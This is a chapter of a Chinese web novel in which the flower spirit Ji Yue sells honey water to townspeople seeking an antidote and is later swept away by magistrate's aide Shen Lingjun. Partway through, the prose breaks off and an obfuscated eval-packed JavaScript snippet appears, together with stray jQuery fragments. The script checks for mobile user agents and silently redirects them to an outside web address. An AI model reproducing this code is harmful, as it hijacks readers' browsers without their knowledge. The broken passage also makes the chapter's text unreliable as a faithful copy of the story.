36. 春风吹又生(九)

作品:《花妖偷渡手记

    第二日,天刚蒙蒙亮,韩思年就用马车运来五百只瓶子。


    季月就在琳琅阁外支了个摊,竖起一块招牌,上面歪歪扭扭地写着,“蜜水,一两银子一瓶”。


    琳琅阁内,工匠们心不在焉地开工,每隔一会儿就有人从院墙内探出脑袋,观察外面的动静。


    辰时还未到,人群便蜂拥而至。


    季月站在水缸边,手持长柄勺,比出一根手指头,“每人最多买一瓶。”


    众人一看,区区一两银子就能买到解药,当即开始疯抢,银子像雨点一样砸来,很快就堆成小山。


    许多人买了一瓶,揣在怀里,又混到队伍后面,再买第二瓶、第三瓶。


    不过一个时辰,五百瓶蜜水就卖完了。


    季月舀水舀得胳膊酸痛。韩思年数着银子,乐不可支,“季姑娘,照这个卖法,你的身家就快赶上庆真楼掌柜了。”


    “这些银子分你三成,明日,再准备五百只瓶子来。”


    “哦?解药要连吃几天才起效?”


    “那倒不是,”季月坏笑,“我想多赚点。”


    巳时,衙门的人过来转了转。


    季月没理会,把银子包起来,扛在肩上,打着呵欠回了沈府。


    韩思年打发人去集市上采买瓶子,自己回琳琅阁监督工匠干活去了。


    第三日,季月照旧清早出摊,买蜜水的人仍是络绎不绝,只是大家对这“解药”的效用颇有微词。


    “我喝了解药,怎么仍不见好?”


    “我腹泻了半日,拉得腿都软了。”


    “我原本只是有些想吃茯苓膏,喝了这解药,反而变本加厉,馋得整夜睡不着觉。”


    络腮胡大汉拿起一只瓶子,举到阳光下看,“季姑娘,你这里头装的,到底是不是解药啊?”


    季月叹气,“我早就说过,我没有什么解药。”


    “什么?!”


    当啷一声,瓶子掉在地上,摔得粉碎,蜜水流了一地。


    “你存心诓我们!”


    季月面无表情,“是你们非要逼我的。”


    大汉的胡子根根颤抖起来,“大伙儿别买了,她是个骗子,这根本不是什么解药!”


    排队的人群哗然。


    韩思年脸色一白,不敢相信地看向季月。


    季月屈起指节,敲了敲招牌,“这里写的清清楚楚,我卖的是蜜水,可不是什么解药。”


    四周静了一瞬,随即,叫嚷声直冲天际,几乎把河里的鱼都震上了天。


    “无耻!”


    “罪大恶极!”


    “让衙役把她带走!”


    “你赚这样的黑心钱,就不怕遭报应吗?”


    络腮胡大汉跑到工地上,双手捧出一块巨大的砖,运足了力,朝季月脸上砸去。


    韩思年惊呼,“小心!”


    砖头眼看就要碰到季月的额头,却像被一堵无形气墙阻挡,弹起来,砸中了一旁的大水缸。


    砰的一声,水缸边缘裂了个大口子,水哗哗地流出来,沾湿了路面,人们正在群情激奋,推推搡搡,脚下一打滑,摔倒一片,哭爹喊娘之声不绝于耳。


    季月板着脸,对络腮胡大汉说,“你砸坏了水缸,这半缸蜜水,合二百五十两银子,由你来赔。”


    韩思年忙跨出半步,拦在她身前,悄悄使了个眼色,示意她别再多说。


    大汉气得满脸通红,用吃奶的力气喊道,“大伙快去衙门报官,把这个黑心的奸商抓起来!”


    “不必麻烦了,”人群后面传来一个冷冰冰的声音,“县衙沈灵均在此。”


    他的声调不怎么高,却穿过了一切嘈杂。


    季月隔着层层叠叠的人头,看到沈灵均的身影突然出现在半空,像一只没有翅膀的大鸟,越过汹涌人潮向她飞来,落在她和韩思年中间。


    他满脸愠怒,一句话都没说,伸手揽住她的腰,带着她腾空而起。


    季月猝不及防,尖叫了一声,沈灵均带着她又跃高几尺。脚下的房屋、街道、树木迅速远去,一张张呆呆仰望的人脸,都变作指甲盖大小。


    他们逆着风疾飞,很快飞到庆真楼顶,沈灵均心念一动,带着季月落了下来。


    这是南安县最高处,举目四望,朝阳遍洒金辉,小仓山郁郁葱葱,玉川水光潋滟,繁华街市,亭台楼阁,尽收眼底。


    季月斜眼瞪他,“你干嘛?”


    “抓你回去。”


    “凭什么抓我?”


    “不好好睡觉,跑出来害人。”


    “我摆摊卖蜜水,诚信经营,童叟无欺,货真价实,绝不掺有毒的东西,比那个曹掌柜高出不知多少倍。”


    “可蜜水不是解药。”


    “我也没说是啊。他们口口声声问我要解药,不给就要把我下狱,大刑伺候,我实属被逼无奈。”


    沈灵均怒道,“你赚了这么多黑心钱,就不怕被下狱了?”


    季月翻了翻眼睛。怎么人人都说她黑心。她的花心明明是红的,他们看不见罢了。


    无知的人类。


    太阳在云层里钻进钻出,万道霞光照在小苍山上,烟岚雾霭,几度明灭。


    季月道,“你这会儿义正严辞,他们围攻我的时候,怎么不出来说话?”


    “我闭关配制三花解毒丸,不知道外面出了这么大的事。”他横了她一眼,“已经焦头烂额了,还给我添乱。”


    季月听出他这话里似乎有护短的意思。


    “那我现在回去睡觉,可以吗,沈大人?”


    “不行。”


    “你真的要抓我下狱?”季月咬牙,“信不信我再拆一次县衙大牢?”


    沈灵均叹了口气,一指前方。


    小仓山的山头,正好飞出一群白鹭,每一只都伸长脖子,迎着朝阳展开双翅,冲破晨雾。它们绕着山峰盘旋而上,似一条洁白的玉带,在苍翠山间随风舞动。


    沈灵均从小就爱看这些白鹭。见到它们展翅翱翔,再焦灼的心境都会慢慢平复。


    他接连三日不眠不休,刚才又狂奔了一通,急吼吼地把季月从人堆里捞出来。怀里还揣着药丸,要赶去县衙找徐大人。


    每件事都十万火急,可不知怎的,经过庆真楼,临时起意,停了下来。


    他微笑道,“这些白鹭最爱在旭日初升的时候绕着山头飞,还会排各种队列。”


    季月呆望那一行小小鸟,久久不语。


    “它们每年冬天迁徙至此,来年开了春就飞走了。此时此刻,此地此景,可遇而不可求。”


    季月张了张嘴,又闭上了。她不太忍心破坏气氛。


    这样的山,放在妖界,只能算一个小土丘。这样的鸟,放在妖界,只能算一粒小尘埃。


    看见白鹭盘旋小仓山就要欢喜赞叹的人,若是见了三足金乌越过昆仑山顶,还不得激动得涕泗横流,当场晕厥。


    沈灵均目光灼灼地看过来。


    她僵了僵,吐出两个字,“好看。”


    沈灵均扬起眉毛,似乎嫌她夸得不够真诚。


    季月问,“你特意飞得这么高,就是为了带我来这里看鸟吗?”


    他转过头,耳根有些泛红,“等它们都飞回了巢,你就乖乖跟我回去。”


    季月盯着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084243|179499||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他左看右看,小声嘀咕,“沈大人行事,真是高深莫测。”


    良久,身畔传来一句,“彼此彼此。”


    南安县县衙。


    徐知县端坐堂上,一脸怒容地听衙役讲述今早的闹剧。


    “岂有此理!一个小小女子,竟敢把本官派去的人当傻子耍!你们这些饭桶,怎么让她跑了?”


    衙役嗫喏,“是沈大人……”


    “什么?!”


    沈灵均恰在此时赶到,“徐大人息怒,容下官禀告。”


    徐知县哼了一声,“你且说来听听。”


    “草妖之毒,来势汹汹,但并非无法解救。舍妹早先也中了毒,服过三花解毒丸后,静养几日,现已转危为安。此药我曾分给众人,只是中毒之人甚多,无法顾全。好在师父临走前留下一批炼丹的原料,我已赶制出五百枚药丸,请县衙代为分发,助中毒之人度过难关。”


    他双手呈上一只巨大的紫金葫芦。徐大人接过来,拿到耳边摇了摇,里面的药丸咣当作响。


    “这药丸真的有用?”


    “三花解毒丸起效慢,需连续服用,配合静养。若是心浮气躁,东奔西走,症状反而会加重。”


    徐大人一拍惊堂木,“说的是啊!本官刚刚听闻,有个叫季月的女子利用众人恐慌,大发不义之财,此等刁民,应当抓回来重重治罪!”


    “徐大人,几百名中毒者家中同时出现季月的画像,此事甚是蹊跷,极可能是曹掌柜祸水东引之计。”


    “不要顾左右而言他,你把那妖女弄哪儿去了?”


    “……她已知道错了,现在家闭门思过。”


    徐知县的腮帮子鼓了起来,眼睛突起,正待喷出几句骂人话,却听到外面平地起惊雷。


    那面自他到任后就没响过的登闻鼓,竟然捶响了!


    衙役飞一样跑出去,不一会,架着一个瘦弱的老者进来。


    那老者经络凸起的手中握着一根短棒,原来连鼓槌都是自带的。


    徐知县眯起眼睛,“堂下何人?”


    “禀大人,小的是张举人的爹。”


    徐知县想了想,本县好像是有一位张举人,如今在京城做官。他脸色登时和缓,挥挥手让衙役退下。


    “张老太爷,你击鼓所为何事啊?”


    张老太爷哆哆嗦嗦地从怀里掏出一张纸。不看也知道,就是那张画了季月头像的纸。


    “小人有要事禀告。”


    徐知县不耐烦道,“此事我已有耳闻,沈大人方才说了,这图恐怕是妖孽所绘,做不得数。“


    张老太爷鬼鬼祟祟地看了沈灵均一眼,压低声音,“小人所禀之事,只能告诉知县大人一个。”


    堂上众人都觉得奇怪。公堂之上,从未有人提出这样的要求。


    “请大人屏退左右!”


    徐知县自从被草妖深夜偷袭后,心有余悸,恨不得上茅房都有人陪着。


    “这就不必了吧。有什么话,你直说就是。”


    张老太爷又瞄了沈灵均一眼。


    沈灵均明白了,这老大爷是防着他呢。


    张老太爷见没人理会他,干脆迈开步子,颤颤巍巍往堂上走。


    衙役抽出刀喝止。


    张老太爷很是执着,“我要在徐大人耳朵边说。”


    徐大人无奈,“让他上来吧。”


    张老太爷贴到徐知县耳边,窃窃私语,声音虽轻,却忘记遮挡嘴巴。


    沈灵均会读唇语,脸色骤变。


    这老头说的是:“解药此中藏,不是解药手中藏。季姑娘拿不出解药,只因她本人就是解药!”